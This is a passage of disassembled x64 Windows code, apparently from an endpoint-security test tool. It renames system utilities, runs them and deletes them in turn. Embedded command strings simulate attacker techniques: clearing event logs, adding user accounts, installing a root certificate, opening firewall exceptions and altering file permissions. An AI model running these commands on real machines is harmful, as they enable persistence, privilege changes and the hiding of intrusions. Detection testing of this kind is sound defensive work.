ja 0x14000d08e
je 0x14000ca79
cmp esi, 0x4000008
ja 0x14000c79b
je 0x14000c2e9
sub esi, 0x4000005
je 0x14000b12b
sub esi, 1
je 0x14000b070
cmp esi, 1
jne case.default.0x14000d0ae
test edi, edi
je 0x14000b054
cmp edi, 0x40010007
jne case.default.0x14000d0ae
lea rcx, [0x14003a2b4]
call fcn.14001b9a0
lea rcx, [0x140045074]
call fcn.14001b9a0
jmp case.default.0x14000d0ae
mov edx, sendto
lea rcx, [0x140091ac0]
call fcn.140010310
mov rdi, rax
test rax, rax
jmp 0x140009d82
cmp edi, 0x40010006
je 0x14000b0be
cmp edi, 0x40020006
jne case.default.0x14000d0ae
lea rcx, str.C:Windows_system32_sysdm.cpl
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp rax, 0xffffffffffffffff
jne 0x14000b0b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14004ef70]
call fcn.140001030
jmp case.default.0x14000d0ae
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp case.default.0x14000d0ae
lea rcx, [0x14004ec08]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004edc8]
call fcn.1400014d0
lea rcx, [0x14004eeb0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp rax, 0xffffffffffffffff
jne 0x14000b110
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14004eed8]
call fcn.140001030
lea rcx, str.C:JYpacket.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rcx, str.C:JYpacket.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x401a0005
ja 0x14000b8b1
je 0x14000b87a
cmp edi, 0x400d0005
ja 0x14000b4c4
je 0x14000b48b
cmp edi, 0x40070005
ja 0x14000b336
je 0x14000b2fd
cmp edi, 0x40040005
ja 0x14000b277
je 0x14000b23e
cmp edi, 0x40010005
je 0x14000b205
cmp edi, 0x40020005
je 0x14000b1cc
cmp edi, 0x40030005
jne case.default.0x14000d0ae
lea rcx, [0x14004cb20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004cb48]
call fcn.1400014c0
lea rcx, [0x14004cb70]
call fcn.140010510
lea rcx, str.C:jydllhost.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004caa0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004cac0]
call fcn.1400014c0
lea rcx, [0x14004cae0]
call fcn.140010510
lea rcx, str.C:jy_runas.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004ca00]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004ca28]
call fcn.1400014c0
lea rcx, [0x14004ca50]
call fcn.140010510
lea rcx, str.C:jy_rundll32.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004cbc0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004cbe8]
call fcn.1400014c0
lea rcx, [0x14004cc10]
call fcn.140010510
lea rcx, str.C:jy_svchost.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x40050005
je 0x14000b2c4
cmp edi, 0x40060005
jne case.default.0x14000d0ae
lea rcx, [0x14004cd00]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004cd28]
call fcn.1400014c0
lea rcx, [0x14004cd50]
call fcn.140010510
lea rcx, str.C:jyexplorer.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004cc60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004cc88]
call fcn.1400014c0
lea rcx, [0x14004ccb0]
call fcn.140010510
lea rcx, str.C:jyiexplore.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004cda0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004cdc0]
call fcn.1400014c0
lea rcx, [0x14004cde0]
call fcn.140010510
lea rcx, str.C:jyjava.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x40080005
je 0x14000b452
cmp edi, 0x40090005
je 0x14000b419
cmp edi, 0x400a0005
je 0x14000b3e0
cmp edi, 0x400b0005
je 0x14000b3a7
cmp edi, 0x400c0005
jne case.default.0x14000d0ae
lea rcx, [0x14004d050]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d078]
call fcn.1400014c0
lea rcx, [0x14004d0a0]
call fcn.140010510
lea rcx, str.C:jy_bcdedit.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004cfb0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004cfd8]
call fcn.1400014c0
lea rcx, [0x14004d000]
call fcn.140010510
lea rcx, str.C:jy_attrib.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004cf20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004cf40]
call fcn.1400014c0
lea rcx, str.C:jy_at.exe__delete
call fcn.140010510
lea rcx, str.C:jy_at.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004cea0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004cec0]
call fcn.1400014c0
lea rcx, [0x14004cee0]
call fcn.140010510
lea rcx, str.C:jy_arp.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004ce20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004ce40]
call fcn.1400014c0
lea rcx, [0x14004ce60]
call fcn.140010510
lea rcx, str.C:jyjavaw.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004d0f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d118]
call fcn.1400014c0
lea rcx, [0x14004d140]
call fcn.140010510
lea rcx, str.C:jy_regedit.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x40140005
ja 0x14000b6ab
je 0x14000b672
cmp edi, 0x40110005
ja 0x14000b5ec
je 0x14000b5b3
cmp edi, 0x400e0005
je 0x14000b57a
cmp edi, 0x400f0005
je 0x14000b541
cmp edi, 0x40100005
jne case.default.0x14000d0ae
lea rcx, [0x14004d2b0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d2d8]
call fcn.1400014c0
lea rcx, [0x14004d300]
call fcn.140010510
lea rcx, str.C:jy_regsvr32.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004d230]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d250]
call fcn.1400014c0
lea rcx, [0x14004d270]
call fcn.140010510
lea rcx, str.C:jycmd.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004d190]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d1b8]
call fcn.1400014c0
lea rcx, [0x14004d1e0]
call fcn.140010510
lea rcx, str.C:jy_regedt32.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004d350]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d378]
call fcn.1400014c0
lea rcx, [0x14004d3a0]
call fcn.140010510
lea rcx, str.C:jy_taskkill.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x40120005
je 0x14000b639
cmp edi, 0x40130005
jne case.default.0x14000d0ae
lea rcx, [0x14004d470]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d490]
call fcn.1400014c0
lea rcx, [0x14004d4b0]
call fcn.140010510
lea rcx, str.C:jy_sc.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004d3f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d410]
call fcn.1400014c0
lea rcx, [0x14004d430]
call fcn.140010510
lea rcx, str.C:jycalc.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004d4f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d510]
call fcn.1400014c0
lea rcx, [0x14004d530]
call fcn.140010510
lea rcx, str.C:jywmic.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x40150005
je 0x14000b822
cmp edi, 0x40160005
je 0x14000b7ca
cmp edi, 0x40170005
je 0x14000b772
cmp edi, 0x40180005
je 0x14000b73b
cmp edi, 0x40190005
jne case.default.0x14000d0ae
lea rcx, [0x14004d780]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d7a8]
call fcn.1400014c0
mov edx, sendto
lea rcx, [0x14004d7d0]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000b729
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14004d808]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004d710]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d730]
call fcn.1400014c0
lea rcx, [0x14004d750]
call fcn.14001b9a0
lea rcx, [0x14004d760]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004d690]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d6b0]
call fcn.1400014c0
mov edx, sendto
lea rcx, [0x14004d6d0]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000b7b8
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14004d6f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004d5f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d618]
call fcn.1400014c0
mov edx, sendto
lea rcx, [0x14004d640]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000b810
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14004d668]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004d570]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d590]
call fcn.1400014c0
mov edx, sendto
lea rcx, [0x14004d5b0]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000b868
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.C:JYRDP.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004d830]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d858]
call fcn.1400014c0
lea rcx, str.C:JYwevtutil.exe_cl_test
call fcn.14001b9a0
lea rcx, [0x14004d8a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x40280005
ja 0x14000bf02
je 0x14000bea7
cmp edi, 0x40220005
ja 0x14000bc6a
je 0x14000baa7
cmp edi, 0x401e0005
ja 0x14000ba04
je 0x14000b9cd
cmp edi, 0x401b0005
je 0x14000b975
cmp edi, 0x401c0005
je 0x14000b93e
cmp edi, 0x401d0005
jne case.default.0x14000d0ae
lea rcx, [0x14004d9f8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004da18]
call fcn.1400014c0
lea rcx, [0x14004da38]
call fcn.14001b9a0
lea rcx, str.C:JY_rdp.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004d968]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d990]
call fcn.1400014c0
lea rcx, [0x14004d9b8]
call fcn.14001b9a0
lea rcx, str.C:JY_taskkill.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004d8c8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004d8f0]
call fcn.1400014c0
mov edx, sendto
lea rcx, [0x14004d918]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000b9bb
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14004d940]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004da68]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004da90]
call fcn.1400014c0
lea rcx, [0x14004dab8]
call fcn.14001b9a0
lea rcx, str.C:JYultravnc.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x40200005
je 0x14000ba4f
cmp edi, 0x40210005
jne case.default.0x14000d0ae
lea rcx, [0x14004dbf0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004dc18]
call fcn.1400014c0
lea rcx, str.C:JYcertmgr.exe__add_GggLabTest.cer__s__r_localMachine_root
call fcn.14001b9a0
lea rcx, [0x14004dc80]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004daf8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004db20]
call fcn.1400014c0
mov edx, sendto
lea rcx, [0x14004db70]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000ba95
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14004db48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004dca8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004dcc8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004dcf0]
call fcn.1400014c0
lea rcx, [0x14004dd10]
call fcn.1400014c0
mov edx, sendto
lea rcx, [0x14004dd80]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000bb06
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, sendto
lea rcx, [0x14004de30]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000bb33
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, sendto
lea rcx, [0x14004dee0]
call fcn.140010310
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, sendto
lea rcx, [0x14004df70]
call fcn.140010310
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, sendto
lea rcx, [0x14004dfd0]
call fcn.140010310
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, sendto
lea rcx, [0x14004e070]
call fcn.140010310
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, sendto
lea rcx, [0x14004e0f0]
call fcn.140010310
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, sendto
lea rcx, [0x14004e160]
call fcn.140010310
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, sendto
lea rcx, [0x14004e1d0]
call fcn.140010310
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, sendto
lea rcx, [0x14004e220]
call fcn.140010310
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, sendto
lea rcx, [0x14004e300]
call fcn.140010310
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, sendto
lea rcx, [0x14004e380]
call fcn.140010310
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14004dd38]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004dd58]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x40230005
je 0x14000bdc6
cmp edi, 0x40240005
je 0x14000bd6b
cmp edi, 0x40250005
je 0x14000bd34
cmp edi, 0x40260005
je 0x14000bcd9
cmp edi, 0x40270005
jne case.default.0x14000d0ae
lea rcx, [0x14004e628]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004e648]
call fcn.1400014c0
lea rcx, [0x14004e668]
call fcn.14001b9a0
lea rcx, str.C:JY_net.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004e5a8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004e5c8]
call fcn.1400014c0
mov edx, sendto
lea rcx, [0x14004e5e8]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000bd22
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14004e608]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004e530]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004e550]
call fcn.1400014c0
lea rcx, str.C:JY_net.exe_user__add
call fcn.14001b9a0
lea rcx, [0x14004e588]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004e4a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004e4c0]
call fcn.1400014c0
mov edx, sendto
lea rcx, [0x14004e4e0]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000bdb4
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14004e510]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004dde8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004de08]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004de98]
call fcn.1400014c0
lea rcx, [0x14004deb8]
call fcn.1400014c0
lea rcx, str.C:JYcacls.exe_C:JYdummy.exe__P_Administrator:N
call fcn.14001b9a0
lea rcx, str.C:JYcacls.exe_C:JYdummy.exe__P_Administrator:R
call fcn.14001b9a0
lea rcx, str.C:JYcacls.exe_C:JYdummy.exe__E__R_admin
call fcn.14001b9a0
lea rcx, str.C:JYcacls.exe_C:JYdummy.exe__E__R_system
call fcn.14001b9a0
lea rcx, str.C:JYcacls.exe_C:JYdummy.exe__E__R_administrator
call fcn.14001b9a0
lea rcx, str.C:JYcacls.exe_C:JYdummy.exe__E
call fcn.14001b9a0
lea rcx, str.C:JYcacls.exe_C:JYdummy.exe__G
call fcn.14001b9a0
lea rcx, str.C:JYcacls.exe_C:JYdummy.exe__P
call fcn.14001b9a0
lea rcx, str.C:JYcacls.exe_C:JYdummy.exe__S:
call fcn.14001b9a0
lea rcx, str.C:JYicacls.exe_C:JYdummy.exe__grant
call fcn.14001b9a0
lea rcx, str.C:JYicacls.exe_C:JYdummy.exe__remove
call fcn.14001b9a0
lea rcx, str.C:JYicacls.exe_C:JYdummy.exe__deny
call fcn.14001b9a0
lea rcx, [0x14004e458]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JYicacls.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004e698]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004e6c0]
call fcn.1400014c0
mov edx, sendto
lea rcx, [0x14004e6e8]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000bef0
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14004e710]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x402e0005
ja 0x14000c0de
je 0x14000c0a7
cmp edi, 0x40290005
je 0x14000c070
cmp edi, 0x402a0005
je 0x14000c015
cmp edi, 0x402b0005
je 0x14000bfde
cmp edi, 0x402c0005
je 0x14000bf83
cmp edi, 0x402d0005
jne case.default.0x14000d0ae
lea rcx, [0x14004e978]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004e998]
call fcn.1400014c0
lea rcx, [0x14004e9b8]
call fcn.14001b9a0
lea rcx, str.C:JYcacls.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004e8f8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004e918]
call fcn.1400014c0
mov edx, sendto
lea rcx, [0x14004e938]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000bfcc
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14004e958]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004e868]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004e890]
call fcn.1400014c0
lea rcx, [0x14004e8b8]
call fcn.14001b9a0
lea rcx, str.C:JYcertmgr.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004e7c8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004e7f0]
call fcn.1400014c0
mov edx, sendto
lea rcx, [0x14004e818]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000c05e
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14004e840]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004e738]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004e760]
call fcn.1400014c0
lea rcx, [0x14004e788]
call fcn.14001b9a0
lea rcx, str.C:JYwevtutil.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004e9e8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004ea08]
call fcn.1400014c0
lea rcx, [0x14004ea28]
call fcn.14001b9a0
lea rcx, str.C:JY_at.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x402f0005
je 0x14000c28e
cmp edi, 0x40300005
je 0x14000c22b
cmp edi, 0x40310005
je 0x14000c1f4
cmp edi, 0x40320005
je 0x14000c159
cmp edi, 0x40330005
jne case.default.0x14000d0ae
lea rcx, [0x14004ed88]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004eda8]
call fcn.1400014c0
lea rcx, str.C:JY_netsh.exe_firewall_add_allowedprogram_program_c:JYTESTTOOL.EXE__ENABLE
call fcn.14001b9a0
lea rcx, str.C:JY_netsh.exe_firewall_delete_allowedprogram_program_c:JYTESTTOOL.EXE_
call fcn.14001b9a0
lea rcx, str.C:JY_netsh.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004ebc8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004ebe8]
call fcn.1400014c0
mov edx, sendto
lea rcx, str.C:JY_netsh.exe_firewall_add_allowedprogram_programc:JYTESTTOOL.EXE_ENABLE
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000c1aa
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, sendto
lea rcx, str.C:JY_netsh.exe_firewall_delete_allowedprogram_programc:JYTESTTOOL.EXE
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000c1e2
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14004ed68]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004eb58]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004eb78]
call fcn.1400014c0
lea rcx, [0x14004eb98]
call fcn.14001b9a0
lea rcx, [0x14004eba8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004ead8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004eaf8]
call fcn.1400014c0
mov edx, sendto
lea rcx, [0x14004eb18]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000c27c
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14004eb38]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004ea58]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004ea78]
call fcn.1400014c0
mov edx, sendto
lea rcx, [0x14004ea98]
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x14000c2d7
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.C:JYmshta.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x40010008
je 0x14000c5ad
cmp edi, 0x40020008
je 0x14000c469
cmp edi, 0x40030008
jne case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x780]
mov r8d, 0x208
call fcn.140013860
xor edx, edx
lea rcx, [rbp + 0x360]
mov r8d, 0x208
call fcn.140013860
xor r9d, r9d
lea rdx, [rbp + 0x780]
xor ecx, ecx
cmp dword [0x140056a60], 1
lea r8d, [r9 + 0x25]
je 0x14000c352
lea r8d, [r9 + 0x29]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je case.default.0x14000d0ae
lea r9, [rbp + 0x780]
mov edx, 0x104
lea r8, str._s_ntdll.dll
lea rcx, [rbp + 0x360]
call fcn.140001a30
test eax, eax
js case.default.0x14000d0ae
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x360]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
